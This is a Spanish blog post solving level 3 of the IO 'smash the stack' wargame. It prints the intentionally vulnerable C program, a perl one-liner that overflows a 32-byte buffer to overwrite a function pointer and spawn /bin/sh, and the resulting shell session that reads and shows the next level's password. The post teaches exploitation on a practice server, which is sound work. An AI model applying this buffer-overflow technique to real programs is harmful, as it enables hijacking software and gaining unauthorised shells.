systemadmin.es > Programación > IO wargame (smash the stack) level 3

IO wargame (smash the stack) level 3

En este tercer nivel tenemos que modificar el valor de un puntero a función con la dirección de otra función poder obtener la shell. Podemos conseguir esto mediante un buffer overflow:

El código del nivel es el siguiente:

#include <stdio.h>
#include <unistd.h>
#include <string.h>

int good(int addr) {
	printf("Address of hmm: %p\n", addr);
}
		
int hmm() {
	printf("Win.\n");
	execl("/bin/sh", "sh", NULL);
}

extern char **environ;

int main(int argc, char **argv) {

	int i, limit;

	for(i = 0; environ[i] != NULL; i++) 
	memset(environ[i], 0x00, strlen(environ[i]));

	int (*fptr)(int) = good;
	char buf[32];
	
	if(strlen(argv[1]) <= 40) limit = strlen(argv[1]);
	
	for(i = 0; i <= limit; i++) {
		buf[i] = argv[1][i];
		if(i < 36) buf[i] = 0x41;
	}

	int (*hmmptr)(int) = hmm;

	(*fptr)((int)hmmptr);
	
	return 0;
	
}

Podemos probar de ejecutar el nivel para obtener la dirección de la función hmm que nos da la shell:

level3@io:~$ /levels/level03 aaa
Address of hmm: 0x804847f

Tal como hemos visto otras veces en el wargame narnia podemos usar perl para rellenar el buffer y luego dar la nueva dirección del puntero a función hmm:

level3@io:/levels$ ./level03 $(perl -e 'print "a"x32; print "\x7f\x84\x04\x08"x2;')
Win.
sh-3.2$ cat ~level4/.pass
iazki1ud

Ya podemos pasar al siguiente nivel

La música nos guía

La música nos guía

El listado de soluciones de otros niveles del wargame de IO de smash the stack es el siguiente:

Deja un comentario:

XHTML - Tags permitidos:<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>